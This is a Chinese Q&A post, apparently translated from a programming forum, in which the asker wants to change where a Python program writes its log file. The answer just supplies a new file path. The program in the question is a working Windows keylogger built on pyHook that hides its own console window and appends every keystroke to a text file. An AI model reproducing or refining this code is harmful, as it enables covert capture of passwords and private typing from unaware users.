我可以将log_file.txt重定向到另一个位置,例如C \ Folder \ log_file.txt吗?
这是我想要制作的节目" log_file.txt"保存在桌面以外的位置。
#!/usr/bin/python
import pyHook
import pythoncom
import win32gui
import win32console
log_file = "log_file.txt" #name of log file
window = win32console.GetConsoleWindow() #go to script window
win32gui.ShowWindow(window,0) #hide window
def pressed_chars(event): #on key pressed function
if event.Ascii:
f = open(log_file,"a") # (open log_file in append mode)
char = chr(event.Ascii) # (insert real char in variable)
if char == "q": # (if char is q)
f.close() # (close and save log file)
exit() # (exit program)
if event.Ascii == 13: # (if char is "return")
f.write("\n") # (new line)
f.write(char) # (write char)
proc = pyHook.HookManager() #open pyHook
proc.KeyDown = pressed_chars #set pressed_chars function on KeyDown event
proc.HookKeyboard() #start the function
pythoncom.PumpMessages() #get input
答案 0 :(得分:0)
是的,您可以按如下方式更改文件位置:
log_file = 'C:\Folder\log_file.txt'
如果文件不在指定位置,则将使用您提供的名称创建新文件。在这种情况下,新文件将命名为log_file.txt